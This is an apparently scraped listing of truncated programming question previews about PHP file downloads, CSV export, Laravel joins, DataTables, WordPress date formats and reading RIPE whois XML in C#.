TrishaI read thru as many similar posts relating to dates and timestamps and couldn't find a solution so I hope this is a simple as I think it should be.... I have dates that are getting posted to a Wordpress database via custom fields, currently in the format of YYMMDD. I have some code to convert t...

-2
Q: DATATABLES.NET looking for insight

Ali KazmiSo I've stumbled across this cool tool that sets up a table for you using data from your database. I was hoping to get some opinions on it before i actually went with this route. This will save me tons of time, rather then coding all the functions into a table.

-3
Q: php download button without submiting back to page

user2817342i have problem,my code is given below. <?php if(empty($_POST['download_button']) === false && isset($_POST['download_button'])){ header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Type: application/octetstream'); heade...

0
Q: MySQL Join, even if there is not match ... Laravel

dcolumbusHere is my Laravel query: $all_tags = DB::table('tags') ->join('products', 'tags.product_id', '=', 'products.id') ->leftJoin('resources', 'tags.resource_id', '=', 'resources.id') ->where('tags.user_id', $user_id) ->select('tags.id as tag_id', 'tags.serial_number',...

0
Q: fputcsv writing to blank file

Samit PatelI am having some trouble exporting a CSV file using fputcsv. The file downloads but it is blank. I have tried exporting to xls and it works perfectly but I wanted to use csv with custom field headers as shown in code below. I am not sure if I am doing something wrong or if I need to have any php....

0
Q: Xml Reader C# to PHP

Federal09Im use this code for reader the xml value on C# XmlDocument doc1 = new XmlDocument(); doc1.Load("http://apps.db.ripe.net/whois/search.xml?query-string=" + textBox1.Text + "&source=ripe"); descr_1 = doc1.SelectSingleNode("/whois-resources/objects/object[@type=\"route\"]/at...

0
Q: PHP file_put_contents new line issue

KrisI'm unable to write array to text file in new lines. My code: echo '<pre>'; print_r($final_result); echo '</pre>'; Output: Array ( [0] => Something1 [1] => Something2 [2] => Something3 ) Then: file_put_contents($file, trim($final_result . "\n"), FILE_APPEND); Output: Someth...

 
00:00 - 13:0013:00 - 00:00

« first day (218 days earlier)      last day (92 days later) »